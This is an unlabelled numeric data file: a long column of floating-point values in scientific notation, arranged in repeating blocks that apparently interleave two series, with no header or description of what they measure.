2.72437e-08
7.00739e-07
2.68178e-08
6.92188e-07
2.58056e-08
6.83784e-07
2.50779e-08
6.75464e-07
2.4786e-08
6.67372e-07
2.40772e-08
6.59429e-07
2.36426e-08
6.51724e-07
2.30429e-08
6.442e-07
2.27093e-08
6.37036e-07
2.15852e-08
6.29958e-07
2.15562e-08
6.22983e-07
2.16236e-08
6.16137e-07
2.11287e-08
6.09519e-07
2.03854e-08
6.0293e-07
2.04083e-08
5.96527e-07
1.96619e-08
5.89953e-07
2.04291e-08
5.8346e-07
2.00466e-08
5.76796e-07
2.06287e-08
5.70355e-07
1.96635e-08
5.63848e-07
1.978e-08
5.57668e-07
1.86013e-08
5.51257e-07
1.90537e-08
5.45098e-07
1.86333e-08
5.38669e-07
1.90385e-08
5.32907e-07
1.68775e-08
5.27372e-07
1.55359e-08
5.21056e-07
1.87598e-08
5.17426e-07
9.572e-09
1.61051e-08
1.65125e-06
3.36937e-07
1.62838e-06
5.07313e-07
1.60447e-06
3.88683e-07
1.59539e-06
2.38428e-07
1.60012e-06
1.27132e-07
1.61627e-06
8.31652e-08
1.63658e-06
9.57482e-08
1.65419e-06
1.23099e-07
1.66792e-06
1.40816e-07
1.67803e-06
1.53618e-07
1.68311e-06
1.63083e-07
1.68309e-06
1.63976e-07
1.68124e-06
1.59194e-07
1.68113e-06
1.53846e-07
1.68244e-06
1.5108e-07
1.68091e-06
1.54639e-07
1.67152e-06
1.65812e-07
1.65168e-06
1.77631e-07
1.62246e-06
1.82028e-07
1.58801e-06
1.75522e-07
1.5531e-06
1.60285e-07
1.52059e-06
1.43222e-07
1.49175e-06
1.28621e-07
1.46784e-06
1.13842e-07
1.45041e-06
9.68921e-08
1.43977e-06
8.27768e-08
1.43296e-06
7.9319e-08
1.42509e-06
8.49144e-08
1.41267e-06
9.041e-08
1.39507e-06
9.20086e-08
1.37378e-06
9.19463e-08
1.35148e-06
9.01025e-08
1.33097e-06
8.31259e-08
1.31359e-06
7.34394e-08
1.29838e-06
6.79478e-08
1.28405e-06
6.6656e-08
1.27037e-06
6.4182e-08
1.25676e-06
6.13153e-08
1.24208e-06
6.12759e-08
1.22615e-06
6.17701e-08
1.20994e-06
5.99165e-08
1.19438e-06
5.66228e-08
1.17998e-06
5.3684e-08
1.16717e-06
5.03317e-08
1.15595e-06
4.73027e-08
1.14586e-06
4.57008e-08
1.13613e-06
4.54691e-08
1.12621e-06
4.50501e-08
1.11573e-06
4.47131e-08
1.10457e-06
4.51777e-08
1.09293e-06
4.57677e-08
1.0815e-06
4.4667e-08
1.07066e-06
4.27251e-08
1.0603e-06
4.13916e-08
1.05029e-06
4.10206e-08
1.04071e-06
4.008e-08
1.03139e-06
3.91915e-08
1.0222e-06
3.9167e-08
1.01295e-06
3.9181e-08
1.00329e-06
4.00895e-08
9.93075e-07
4.06366e-08
9.82484e-07
4.02821e-08
9.71742e-07
3.95515e-08
9.60897e-07
3.99667e-08
9.50103e-07
4.10552e-08
9.39764e-07
4.01617e-08
9.29804e-07
3.78776e-08
9.19757e-07
3.70349e-08
9.0946e-07
3.75669e-08
8.99099e-07
3.71263e-08
8.88559e-07
3.77835e-08
8.78163e-07
3.72138e-08
8.67912e-07
3.60569e-08
8.57736e-07
3.52537e-08
8.47558e-07
3.49643e-08
8.37568e-07
3.40666e-08
8.27698e-07
3.3513e-08
8.18095e-07
3.26458e-08
8.08736e-07
3.20688e-08
7.99851e-07
3.04698e-08
7.91167e-07
3.02398e-08
7.82709e-07
3.00823e-08
7.74421e-07
2.94164e-08
7.66427e-07
2.83797e-08
7.58519e-07
2.8316e-08
7.50877e-07
2.73043e-08
7.43092e-07
2.82141e-08
7.35382e-07
2.77567e-08
7.27422e-07
2.85881e-08
7.19668e-07
2.74182e-08
7.11778e-07
2.767e-08
7.04294e-07
2.60849e-08
6.96456e-07
2.68919e-08
6.88946e-07
2.6143e-08
6.8103e-07
2.69545e-08
6.73801e-07
2.41071e-08
6.66813e-07
2.25236e-08
6.58909e-07
2.66638e-08
6.53752e-07
1.47288e-08
2.17628e-08
1.72147e-06
3.45108e-07
1.70099e-06
5.27797e-07
1.67658e-06
4.13088e-07
1.66407e-06
2.5094e-07
1.66442e-06
1.26784e-07
1.67697e-06
7.06097e-08
1.69612e-06
7.6603e-08
1.71485e-06
1.04368e-07
1.73104e-06
1.24629e-07
1.74507e-06
1.39585e-07
1.75545e-06
1.52701e-07
1.76051e-06
1.58922e-07
1.76238e-06
1.5732e-07
1.76607e-06
1.5016e-07
1.77393e-06
1.43218e-07
1.78307e-06
1.45496e-07
1.78759e-06
1.61299e-07
1.78213e-06
1.83091e-07
1.76422e-06
1.99938e-07
1.73618e-06
2.0356e-07
1.70379e-06
1.92676e-07
1.67181e-06
1.752e-07
1.64249e-06
1.57941e-07
1.61723e-06
1.39102e-07
1.59799e-06
1.1613e-07
1.58713e-06
9.36428e-08
1.58428e-06
8.21692e-08
1.58514e-06
8.4051e-08
1.58369e-06
9.18585e-08
1.5753e-06
1.00403e-07
1.55895e-06
1.08295e-07
1.53759e-06
1.11465e-07
1.51592e-06
1.04795e-07
1.49736e-06
9.19958e-08
1.48225e-06
8.30627e-08
1.4694e-06
7.95047e-08
1.45834e-06
7.52406e-08
1.44831e-06
7.13421e-08
1.4372e-06
7.23898e-08
1.42328e-06
7.56841e-08
1.40696e-06
7.62377e-08
1.38985e-06
7.3739e-08
1.37333e-06
7.01951e-08
1.3585e-06
6.51645e-08
1.34596e-06
5.98441e-08
1.33582e-06
5.58375e-08
1.32748e-06
5.3814e-08
1.31978e-06
5.27511e-08
1.31135e-06
5.31388e-08
1.30139e-06
5.51376e-08
1.28997e-06
5.71882e-08
1.27805e-06
5.65889e-08
1.26648e-06
5.42992e-08
1.25546e-06
5.24098e-08
1.24498e-06
5.15004e-08
1.2352e-06
4.9853e-08
1.22591e-06
4.84841e-08
1.21707e-06
4.80132e-08
1.20855e-06
4.76964e-08
1.19993e-06
4.87111e-08
1.19066e-06
4.99078e-08
1.18035e-06
5.059e-08
1.16896e-06
5.09444e-08
1.15678e-06
5.21443e-08
1.14461e-06
5.32272e-08
1.13342e-06
5.13488e-08
1.12312e-06
4.81735e-08
1.11275e-06
4.74137e-08
1.10179e-06
4.85238e-08
1.0904e-06
4.8512e-08
1.07865e-06
4.95383e-08
1.06702e-06
4.88432e-08
1.0555e-06
4.75739e-08
1.04397e-06
4.67883e-08
1.03226e-06
4.66702e-08
1.02059e-06
4.57374e-08
1.00889e-06
4.52125e-08
9.97383e-07
4.41539e-08
9.86106e-07
4.33452e-08
9.75374e-07
4.12023e-08
9.64984e-07
4.06297e-08
9.55039e-07
4.00272e-08
9.45366e-07
3.9089e-08
9.36043e-07
3.77032e-08
9.2685e-07
3.75085e-08
9.18048e-07
3.6106e-08
9.09239e-07
3.70241e-08
9.00577e-07
3.64186e-08
8.91576e-07
3.75881e-08
8.82708e-07
3.62869e-08
8.73558e-07
3.68198e-08
8.64908e-07
3.47353e-08
8.55776e-07
3.6024e-08
8.47047e-07
3.48716e-08
8.37779e-07
3.62221e-08
8.29139e-07
3.27476e-08
8.20729e-07
3.09331e-08
8.11275e-07
3.61176e-08
8.04455e-07
2.15496e-08
2.8779e-08
1.79099e-06
3.56083e-07
1.77429e-06
5.44497e-07
1.75117e-06
4.36204e-07
1.73669e-06
2.6542e-07
1.73349e-06
1.2998e-07
1.74242e-06
6.16816e-08
1.75954e-06
5.9483e-08
1.77809e-06
8.58202e-08
1.79507e-06
1.07654e-07
1.81074e-06
1.2391e-07
1.82391e-06
1.39533e-07
1.83201e-06
1.50824e-07
1.83565e-06
1.53673e-07
1.83981e-06
1.46e-07
1.84892e-06
1.3411e-07
1.86252e-06
1.31897e-07
1.87581e-06
1.4801e-07
1.88249e-06
1.76407e-07
1.87661e-06
2.05816e-07
1.8567e-06
2.23473e-07
1.82792e-06
2.21457e-07
1.79707e-06
2.06049e-07
1.76824e-06
1.86771e-07
1.74301e-06
1.6433e-07
1.72236e-06
1.36778e-07
1.70899e-06
1.0702e-07
1.70515e-06
8.60105e-08
1.70946e-06
7.97367e-08
1.71647e-06
8.48496e-08
1.71866e-06
9.82107e-08
1.71081e-06
1.16151e-07
1.69359e-06
1.28677e-07
1.67229e-06
1.26103e-07
1.65252e-06
1.11762e-07
1.63677e-06
9.88076e-08
1.62461e-06
9.16644e-08
1.6157e-06
8.41542e-08
1.60999e-06
7.70557e-08
1.60508e-06
7.72974e-08
1.59685e-06
8.39133e-08
1.58355e-06
8.95419e-08
1.56684e-06
9.04476e-08
1.54924e-06
8.7795e-08
1.53265e-06
8.17549e-08
1.51828e-06
7.42109e-08
1.50715e-06
6.69649e-08
1.49969e-06
6.12733e-08
1.49501e-06
5.74369e-08
1.49067e-06
5.7481e-08
1.48435e-06
6.14517e-08
1.47525e-06
6.6294e-08
1.46427e-06
6.75654e-08
1.45283e-06
6.57339e-08
1.44171e-06
6.35349e-08
1.43115e-06
6.20646e-08
1.42151e-06
5.94841e-08
1.41254e-06
5.74541e-08
1.40426e-06
5.63011e-08
1.39687e-06
5.50859e-08
1.3903e-06
5.52741e-08
1.38389e-06
5.63175e-08
1.37638e-06
5.8106e-08
1.36648e-06
6.08427e-08
1.35394e-06
6.4684e-08
1.34029e-06
6.68752e-08
1.32801e-06
6.36348e-08
1.31786e-06
5.83176e-08
1.30842e-06
5.6859e-08
1.29823e-06
5.87111e-08
1.28689e-06
5.98502e-08
1.27463e-06
6.1798e-08
1.26239e-06
6.10868e-08
1.2503e-06
5.96642e-08
1.23816e-06
5.89234e-08
1.22567e-06
5.91635e-08
1.21294e-06
5.84636e-08
1.19988e-06
5.8277e-08
1.18675e-06
5.72794e-08
1.17368e-06
5.6415e-08
1.16105e-06
5.38347e-08
1.14881e-06
5.28738e-08
1.13733e-06
5.14994e-08
1.12641e-06
5.00149e-08
1.11592e-06
4.81912e-08
1.10551e-06
4.79209e-08
1.09556e-06
4.60561e-08
1.08586e-06
4.67174e-08
1.07662e-06
4.56613e-08
1.06706e-06
4.71476e-08
1.05752e-06
4.58267e-08
1.0474e-06
4.69435e-08
1.03783e-06
4.43089e-08
1.02765e-06
4.61963e-08
1.01798e-06
4.45407e-08
1.00769e-06
4.65121e-08
9.979e-07
4.25414e-08
9.88271e-07
4.0562e-08
9.77455e-07
4.69342e-08
9.69035e-07
2.99695e-08
3.71804e-08
1.85967e-06
3.68727e-07
1.84831e-06
5.55855e-07
1.82831e-06
4.56208e-07
1.81336e-06
2.80369e-07
1.80751e-06
1.35824e-07
1.81293e-06
5.62589e-08
1.82733e-06
4.50837e-08
1.84463e-06
6.85225e-08
1.86134e-06
9.09491e-08
1.87745e-06
1.07801e-07
1.89196e-06
1.2502e-07
1.90195e-06
1.4083e-07
1.90676e-06
1.48867e-07
1.91035e-06
1.42413e-07
1.91798e-06
1.26478e-07
1.93164e-06
1.18237e-07
1.94889e-06
1.30755e-07
1.96443e-06
1.60873e-07
1.97005e-06
2.00195e-07
1.95952e-06
2.34003e-07
1.93556e-06
2.45417e-07
1.90641e-06
2.35201e-07
1.87863e-06
2.14545e-07
1.85489e-06
1.88074e-07
1.83475e-06
1.56912e-07
1.81933e-06
1.22444e-07
1.81172e-06
9.36225e-08
1.81368e-06
7.7776e-08
1.82308e-06
7.54448e-08
1.83265e-06
8.86413e-08
1.83356e-06
1.15244e-07
1.82257e-06
1.39664e-07
1.80352e-06
1.45154e-07
1.7832e-06
1.32085e-07
1.76631e-06
1.157e-07
1.75359e-06
1.04377e-07
1.74496e-06
9.27848e-08
1.74186e-06
8.01601e-08
1.74329e-06
7.58666e-08
1.74301e-06
8.41955e-08
1.7355e-06
9.70473e-08
1.72127e-06
1.04674e-07
1.70398e-06
1.05086e-07
1.68664e-06
9.91012e-08
1.67082e-06
9.0029e-08
1.65796e-06
7.98225e-08
1.64984e-06
6.93989e-08
1.64716e-06
6.01167e-08
1.64746e-06
5.71762e-08
1.64663e-06
6.22861e-08
1.642e-06
7.0923e-08
1.63374e-06
7.58195e-08
1.62367e-06
7.58117e-08
1.61327e-06
7.39362e-08
1.60313e-06
7.22041e-08
1.59397e-06
6.86369e-08
1.58558e-06
6.58439e-08
1.57776e-06
6.41247e-08
1.57101e-06
6.18327e-08
1.56618e-06
6.01045e-08
1.56341e-06
5.90935e-08
1.56121e-06
6.03032e-08
1.55636e-06
6.56937e-08
1.54612e-06
7.49207e-08
1.53154e-06
8.14566e-08
1.51718e-06
7.79903e-08
1.50652e-06
6.89834e-08
1.49881e-06
6.45701e-08
1.49129e-06
6.62282e-08
1.48183e-06
6.93103e-08
1.4702e-06
7.34273e-08
1.45807e-06
7.32199e-08
1.44618e-06
7.1555e-08
1.4344e-06
7.06959e-08
1.42223e-06
7.13355e-08
1.40955e-06
7.11477e-08
1.39607e-06
7.17533e-08
1.38208e-06
7.12696e-08
1.36778e-06
7.0716e-08
1.35351e-06
6.81098e-08
1.33928e-06
6.71003e-08
1.32608e-06
6.46997e-08
1.31401e-06
6.20829e-08
1.30273e-06
5.94734e-08
1.29135e-06
5.92983e-08
1.2802e-06
5.72076e-08
1.26951e-06
5.74082e-08
1.25993e-06
5.52369e-08
1.25046e-06
5.66253e-08
1.24103e-06
5.52536e-08
1.2305e-06
5.74736e-08
1.22038e-06
5.4427e-08
1.2095e-06
5.70737e-08
1.19927e-06
5.47714e-08
1.18849e-06
5.72988e-08
1.17805e-06
5.2981e-08
1.16766e-06
5.09471e-08
1.15585e-06
5.87469e-08
1.14614e-06
3.96741e-08
4.67848e-08
1.92796e-06
3.81708e-07
1.92335e-06
5.60456e-07
1.9081e-06
4.71461e-07
1.89417e-06
2.94306e-07
1.88664e-06
1.43346e-07
1.88883e-06
5.40768e-08
1.89987e-06
3.40381e-08
1.91472e-06
5.36782e-08
1.93e-06
7.56695e-08
1.94551e-06
9.22877e-08
1.96026e-06
1.10267e-07
1.97128e-06
1.29813e-07
1.97702e-06
1.43127e-07
1.98001e-06
1.39424e-07
1.98512e-06
1.2137e-07
1.99621e-06
1.07139e-07
2.01373e-06
1.13235e-07
2.0347e-06
1.39909e-07
2.05036e-06
1.84528e-07
2.04986e-06
2.34507e-07
2.03214e-06
2.63138e-07
2.00586e-06
2.61477e-07
1.97996e-06
2.40448e-07
1.95895e-06
2.0909e-07
1.94146e-06
1.74394e-07
1.92601e-06
1.37892e-07
1.9147e-06
1.04942e-07
1.91102e-06
8.14547e-08
1.91707e-06
6.93866e-08
1.92879e-06
7.6928e-08
1.93591e-06
1.08121e-07
1.93129e-06
1.44285e-07
1.91601e-06
1.60439e-07
1.89645e-06
1.51642e-07
1.87871e-06
1.3344e-07
1.86482e-06
1.18262e-07
1.85484e-06
1.02764e-07
1.85171e-06
8.32929e-08
1.85741e-06
7.01657e-08
1.86504e-06
7.65689e-08
1.86455e-06
9.75388e-08
1.85394e-06
1.15279e-07
1.83783e-06
1.21193e-07
1.82075e-06
1.16181e-07
1.80472e-06
1.06064e-07
1.79069e-06
9.38547e-08
1.78083e-06
7.92538e-08
1.77814e-06
6.28094e-08
1.78181e-06
5.35066e-08
1.78663e-06
5.74642e-08
1.78761e-06
6.99393e-08
1.78339e-06
8.00423e-08
1.77574e-06
8.34597e-08
1.767e-06
8.26813e-08
1.75797e-06
8.12346e-08
1.74968e-06
7.69263e-08
1.74225e-06
7.3267e-08
1.735e-06
7.13798e-08
1.72817e-06
6.86672e-08
1.72352e-06
6.47499e-08
1.72294e-06
5.9669e-08
1.7266e-06
5.66451e-08
1.73027e-06
6.2028e-08
1.72686e-06
7.83249e-08
1.71385e-06
9.44738e-08
1.69669e-06
9.51473e-08
1.6833e-06
8.23685e-08
1.67642e-06
7.145e-08
1.67302e-06
6.96341e-08
1.66794e-06
7.43896e-08
1.65875e-06
8.26124e-08
1.64757e-06
8.44006e-08
1.63649e-06
8.26391e-08
1.62592e-06
8.12703e-08
1.61526e-06
8.19935e-08
1.60404e-06
8.23665e-08
1.59155e-06
8.42455e-08
1.57791e-06
8.49083e-08
1.56351e-06
8.51177e-08
1.54851e-06
8.31038e-08
1.53253e-06
8.30843e-08
1.5172e-06
8.00305e-08
1.50379e-06
7.54922e-08
1.4922e-06
7.10581e-08
1.48058e-06
7.09222e-08
1.46841e-06
6.93755e-08
1.45627e-06
6.95503e-08
1.44608e-06
6.54295e-08
1.43713e-06
6.55699e-08
1.42891e-06
6.3478e-08
1.41899e-06
6.73902e-08
1.40896e-06
6.4457e-08
1.39777e-06
6.82607e-08
1.38733e-06
6.52161e-08
1.37667e-06
6.79606e-08
1.36631e-06
6.33402e-08
1.35597e-06
6.12817e-08
1.34374e-06
7.09765e-08
1.33331e-06
5.01127e-08
5.71478e-08
1.99708e-06
3.93638e-07
2.00017e-06
5.57359e-07
1.99085e-06
4.80781e-07
1.97921e-06
3.05952e-07
1.97101e-06
1.51541e-07
1.97045e-06
5.46371e-08
1.97781e-06
2.66765e-08
1.98918e-06
4.23057e-08
2.00189e-06
6.2967e-08
2.01568e-06
7.84934e-08
2.02953e-06
9.64211e-08
2.0407e-06
1.18639e-07
2.04718e-06
1.36644e-07
2.0499e-06
1.36706e-07
2.05236e-06
1.1891e-07
2.05955e-06
9.99502e-08
2.07472e-06
9.80646e-08
2.09779e-06
1.16843e-07
2.12101e-06
1.61303e-07
2.12997e-06
2.25543e-07
2.11948e-06
2.73637e-07
2.09772e-06
2.83232e-07
2.07512e-06
2.63046e-07
2.05811e-06
2.261e-07
2.04499e-06
1.87514e-07
2.03154e-06
1.51344e-07
2.01804e-06
1.18446e-07
2.00824e-06
9.12536e-08
2.00771e-06
6.99141e-08
2.01705e-06
6.75928e-08
2.02682e-06
9.83493e-08
2.02717e-06
1.43929e-07
2.01632e-06
1.71292e-07
1.99905e-06
1.68918e-07
1.98148e-06
1.5101e-07
1.96668e-06
1.33062e-07
1.9549e-06
1.14536e-07
1.94994e-06
8.82536e-08
1.95722e-06
6.28886e-08
1.9709e-06
6.28901e-08
1.97677e-06
9.16635e-08
1.96961e-06
1.22447e-07
1.95468e-06
1.36115e-07
1.93827e-06
1.32592e-07
1.92328e-06
1.21059e-07
1.90979e-06
1.07347e-07
1.89871e-06
9.03331e-08
1.89453e-06
6.69839e-08
1.89939e-06
4.86444e-08
1.90841e-06
4.84452e-08
1.91455e-06
6.38059e-08
1.91448e-06
8.01056e-08
1.90954e-06
8.83986e-08
1.90304e-06
8.91912e-08
1.89586e-06
8.84119e-08
1.88882e-06
8.39605e-08
1.88276e-06
7.93319e-08
1.87655e-06
7.75865e-08
1.86945e-06
7.57645e-08
1.86349e-06
7.07124e-08
1.86221e-06
6.09558e-08
1.86917e-06
4.9676e-08
1.88227e-06
4.89344e-08
1.89035e-06
7.02443e-08
1.88366e-06
1.01164e-07
1.86482e-06
1.13982e-07
1.84606e-06
1.01132e-07
1.83685e-06
8.06592e-08
1.83712e-06
6.9361e-08
1.83877e-06
7.27465e-08
1.83456e-06
8.68193e-08
1.82546e-06
9.34985e-08
1.81551e-06
9.2588e-08
1.80649e-06
9.02909e-08
1.79816e-06
9.03286e-08
1.78977e-06
9.07591e-08
1.77985e-06
9.41587e-08
1.76799e-06
9.67702e-08
1.75493e-06
9.81804e-08
1.74094e-06
9.70931e-08
1.72435e-06
9.96678e-08
1.70664e-06
9.77464e-08
1.69107e-06
9.10631e-08
1.6793e-06
8.28214e-08
1.66866e-06
8.15671e-08
1.6565e-06
8.15341e-08
1.64253e-06
8.35239e-08
1.63063e-06
7.73317e-08
1.62182e-06
7.43771e-08
1.61579e-06
6.95086e-08
1.60803e-06
7.5151e-08
1.59919e-06
7.32888e-08
1.58827e-06
7.91831e-08
1.57779e-06
7.56972e-08
1.56774e-06
7.80128e-08
1.55822e-06
7.28634e-08
1.54909e-06
7.04085e-08
1.5373e-06
8.2766e-08
1.52682e-06
6.05887e-08
6.75954e-08
2.06929e-06
4.03062e-07
2.08001e-06
5.46642e-07
2.0771e-06
4.83689e-07
2.0686e-06
3.14453e-07
2.06066e-06
1.5948e-07
2.05807e-06
5.72237e-08
2.06191e-06
2.28405e-08
2.06942e-06
3.4793e-08
2.07883e-06
5.35612e-08
2.08984e-06
6.74851e-08
2.10155e-06
8.47045e-08
2.11199e-06
1.08203e-07
2.11891e-06
1.29727e-07
2.1217e-06
1.33907e-07
2.12197e-06
1.18642e-07
2.12499e-06
9.69348e-08
2.13628e-06
8.67708e-08
2.15829e-06
9.48364e-08
2.18539e-06
1.34198e-07
2.20161e-06
2.0933e-07
2.19832e-06
2.76924e-07
2.18277e-06
2.98785e-07
2.16542e-06
2.80395e-07
2.15377e-06
2.37742e-07
2.1461e-06
1.95187e-07
2.13584e-06
1.6161e-07
2.12175e-06
1.3253e-07
2.10714e-06
1.05861e-07
2.09955e-06
7.75121e-08
2.10403e-06
6.3109e-08
2.11333e-06
8.90477e-08
2.11656e-06
1.40704e-07
2.10988e-06
1.77965e-07
2.09606e-06
1.82745e-07
2.07995e-06
1.6712e-07
2.06509e-06
1.47923e-07
2.05227e-06
1.27349e-07
2.04533e-06
9.51933e-08
2.05223e-06
5.59889e-08
2.06932e-06
4.58072e-08
2.0795e-06
8.148e-08
2.07454e-06
1.27404e-07
2.06031e-06
1.5035e-07
2.04446e-06
1.48438e-07
2.03116e-06
1.34363e-07
2.0201e-06
1.18402e-07
2.00963e-06
1.00802e-07
2.00392e-06
7.2695e-08
2.00819e-06
4.43773e-08
2.01923e-06
3.74091e-08
2.02878e-06
5.42482e-08
2.03181e-06
7.708e-08
2.02885e-06
9.13561e-08
2.02443e-06
9.36112e-08
2.01971e-06
9.31322e-08
2.01431e-06
8.93597e-08
2.00979e-06
8.38527e-08
2.00518e-06
8.21935e-08
1.99829e-06
8.26549e-08
1.99062e-06
7.83824e-08
1.98623e-06
6.53491e-08
1.99213e-06
4.37815e-08
2.01183e-06
2.92296e-08
2.0335e-06
4.85729e-08
2.03846e-06
9.62092e-08
2.0215e-06
1.30938e-07
1.99617e-06
1.26463e-07
1.98035e-06
9.64815e-08
1.98132e-06
6.83915e-08
1.99053e-06
6.35334e-08
1.99399e-06
8.33643e-08
1.98847e-06
9.9013e-08
1.97981e-06
1.0125e-07
1.97211e-06
9.79885e-08
1.96613e-06
9.63083e-08
1.96135e-06
9.55383e-08
1.95545e-06
1.00058e-07
1.94668e-06
1.05541e-07
1.93607e-06
1.08792e-07
1.92507e-06
1.08099e-07
1.9103e-06
1.14436e-07
1.89091e-06
1.17133e-07
1.8719e-06
1.1007e-07
1.859e-06
9.57244e-08
1.85043e-06
9.01373e-08
1.84053e-06
9.14347e-08
1.8254e-06
9.86521e-08
1.81029e-06
9.24441e-08
1.7998e-06
8.48615e-08
1.79601e-06
7.33005e-08
1.79216e-06
7.90045e-08
1.78627e-06
7.91739e-08
1.77668e-06
8.87808e-08
1.76621e-06
8.61629e-08
1.75685e-06
8.73737e-08
1.74856e-06
8.11494e-08
1.74195e-06
7.70181e-08
1.73185e-06
9.28738e-08
1.72207e-06
7.03609e-08
7.7372e-08
2.14732e-06
4.08685e-07
2.1644e-06
5.29563e-07
2.16763e-06
4.80458e-07
2.16256e-06
3.1952e-07
2.15557e-06
1.6647e-07
2.15172e-06
6.10728e-08
2.15267e-06
2.1895e-08
2.15676e-06
3.07051e-08
2.16287e-06
4.74501e-08
2.17043e-06
5.99224e-08
2.17905e-06
7.60835e-08
2.18794e-06
9.93095e-08
2.19476e-06
1.22915e-07
2.19778e-06
1.30883e-07
2.19676e-06
1.19667e-07
2.19639e-06
9.73057e-08
2.20338e-06
7.97726e-08
2.2215e-06
7.6721e-08
2.24788e-06
1.07821e-07
2.26771e-06
1.89501e-07
2.27068e-06
2.73949e-07
2.26272e-06
3.06741e-07
2.25251e-06
2.90612e-07
2.24715e-06
2.431e-07
2.24506e-06
1.97275e-07
2.23811e-06
1.68563e-07
2.2246e-06
1.46038e-07
2.20741e-06
1.23049e-07
2.19438e-06
9.05496e-08
2.19364e-06
6.38452e-08
2.20041e-06
8.22828e-08
2.2043e-06
1.36805e-07
2.20079e-06
1.81477e-07
2.19085e-06
1.92692e-07
2.17729e-06
1.80674e-07
2.16346e-06
1.61757e-07
2.15112e-06
1.39683e-07
2.14351e-06
1.02804e-07
2.14927e-06
5.02298e-08
2.16711e-06
2.79684e-08
2.17886e-06
6.97356e-08
2.17442e-06
1.31835e-07
2.16045e-06
1.64327e-07
2.1451e-06
1.63786e-07
2.13353e-06
1.45937e-07
2.12612e-06
1.25806e-07
2.11838e-06
1.08539e-07
2.11221e-06
7.88681e-08
2.11507e-06
4.15155e-08
2.12617e-06
2.63076e-08
2.13699e-06
4.34362e-08
2.14143e-06
7.26339e-08
2.13915e-06
9.36388e-08
2.13599e-06
9.67683e-08
2.13404e-06
9.5083e-08
2.13066e-06
9.2745e-08
2.1276e-06
8.69047e-08
2.12487e-06
8.49229e-08
2.1188e-06
8.87261e-08
2.11008e-06
8.71019e-08
2.1021e-06
7.33337e-08
2.10322e-06
4.26643e-08
2.1243e-06
8.14768e-09
2.15778e-06
1.50866e-08
2.17765e-06
7.63477e-08
2.16721e-06
1.41371e-07
2.13669e-06
1.56989e-07
2.1111e-06
1.22073e-07
2.10823e-06
7.12524e-08
2.12355e-06
4.82208e-08
2.13644e-06
7.04734e-08
2.13606e-06
9.93892e-08
2.1288e-06
1.08507e-07
2.12184e-06
1.0495e-07
2.11746e-06
1.00692e-07
2.11612e-06
9.68762e-08
2.11512e-06
1.01056e-07
2.11051e-06
1.1015e-07
2.10264e-06
1.16661e-07
2.09573e-06
1.15019e-07
2.08585e-06
1.24315e-07
2.06717e-06
1.35808e-07
2.04393e-06
1.33312e-07
2.02764e-06
1.12014e-07
2.02093e-06
9.68492e-08
2.01618e-06
9.61805e-08
2.00251e-06
1.12325e-07
1.98352e-06
1.1143e-07
1.96836e-06
1.00026e-07
1.96504e-06
7.6624e-08
1.96623e-06
7.78065e-08
1.96546e-06
7.99481e-08
1.95903e-06
9.52141e-08
1.94885e-06
9.634e-08
1.93981e-06
9.64118e-08
1.93237e-06
8.85896e-08
1.92922e-06
8.017e-08
1.92247e-06
9.96262e-08
1.9142e-06
7.86309e-08
8.58423e-08
2.2331e-06
4.1015e-07
2.25482e-06
5.07839e-07
2.26333e-06
4.71946e-07
2.26146e-06
3.21391e-07
2.25571e-06
1.72225e-07
2.2512e-06
6.55855e-08
2.25014e-06
2.29497e-08
2.25182e-06
2.90219e-08
2.2553e-06
4.39703e-08
2.25951e-06
5.57195e-08
2.26475e-06
7.08428e-08
2.27154e-06
9.25153e-08
2.27748e-06
1.1698e-07
2.28061e-06
1.27749e-07
2.27945e-06
1.20826e-07
2.2772e-06
9.95555e-08
2.28034e-06
7.6632e-08
2.29244e-06
6.46221e-08
2.31366e-06
8.66019e-08
2.33326e-06
1.69899e-07
2.34116e-06
2.66054e-07
2.34145e-06
3.06443e-07
2.33918e-06
2.92883e-07
2.33973e-06
2.42552e-07
2.34212e-06
1.94882e-07
2.33777e-06
1.72913e-07
2.3257e-06
1.5811e-07
2.30862e-06
1.40135e-07
2.29302e-06
1.06145e-07
2.28819e-06
6.86792e-08
2.29138e-06
7.90853e-08
2.29406e-06
1.34134e-07
2.29222e-06
1.83308e-07
2.28577e-06
1.99148e-07
2.27538e-06
1.9106e-07
2.26362e-06
1.73516e-07
2.25355e-06
1.49757e-07
2.24733e-06
1.09027e-07
2.2521e-06
4.54576e-08
2.26844e-06
1.16238e-08
2.27902e-06
5.91549e-08
2.27356e-06
1.37294e-07
2.25983e-06
1.78063e-07
2.24532e-06
1.78296e-07
2.23524e-06
1.56017e-07
2.23171e-06
1.2933e-07
2.22815e-06
1.12104e-07
2.22286e-06
8.41589e-08
2.22428e-06
4.00892e-08
2.23416e-06
1.64336e-08
2.24431e-06
3.32854e-08
2.24862e-06
6.83212e-08
2.24586e-06
9.64017e-08
2.24287e-06
9.97518e-08
2.24367e-06
9.42863e-08
2.24264e-06
9.3778e-08
2.24079e-06
8.87554e-08
2.23986e-06
8.5849e-08
2.23493e-06
9.36581e-08
2.22609e-06
9.59378e-08
2.2158e-06
8.36259e-08
2.21082e-06
4.76464e-08
2.22818e-06
-9.21411e-09
2.26873e-06
-2.54614e-08
2.30319e-06
4.18822e-08
2.30281e-06
1.41754e-07
2.27044e-06
1.89365e-07
2.23476e-06
1.57748e-07
2.22415e-06
8.18597e-08
2.24218e-06
3.01904e-08
2.26449e-06
4.81724e-08
2.27021e-06
9.36639e-08
2.26442e-06
1.14302e-07
2.25764e-06
1.11725e-07
2.25372e-06
1.0461e-07
2.2547e-06
9.58947e-08
2.25861e-06
9.71535e-08
2.25899e-06
1.09767e-07
2.25348e-06
1.22172e-07
2.25001e-06
1.18487e-07
2.24732e-06
1.27008e-07
2.23311e-06
1.50014e-07
2.20642e-06
1.60003e-07
2.18411e-06
1.3432e-07
2.17699e-06
1.03971e-07
2.1794e-06
9.37737e-08
2.17148e-06
1.20248e-07
2.15013e-06
1.32775e-07
2.12743e-06
1.22721e-07
2.12091e-06
8.31496e-08
2.12676e-06
7.19511e-08
2.13294e-06
7.37711e-08
2.13217e-06
9.59907e-08
2.12323e-06
1.05275e-07
2.11406e-06
1.05586e-07
2.10614e-06
9.65044e-08
2.10627e-06
8.00387e-08
2.10475e-06
1.0115e-07
2.099e-06
8.43811e-08
9.26147e-08
2.32782e-06
4.07933e-07
2.35231e-06
4.83344e-07
2.36498e-06
4.59276e-07
2.36572e-06
3.20652e-07
2.36109e-06
1.76852e-07
2.35625e-06
7.04304e-08
2.35401e-06
2.51894e-08
2.35438e-06
2.86478e-08
2.35623e-06
4.21277e-08
2.35794e-06
5.40063e-08
2.36032e-06
6.84605e-08
2.36483e-06
8.80052e-08
2.36917e-06
1.12643e-07
2.37215e-06
1.24764e-07
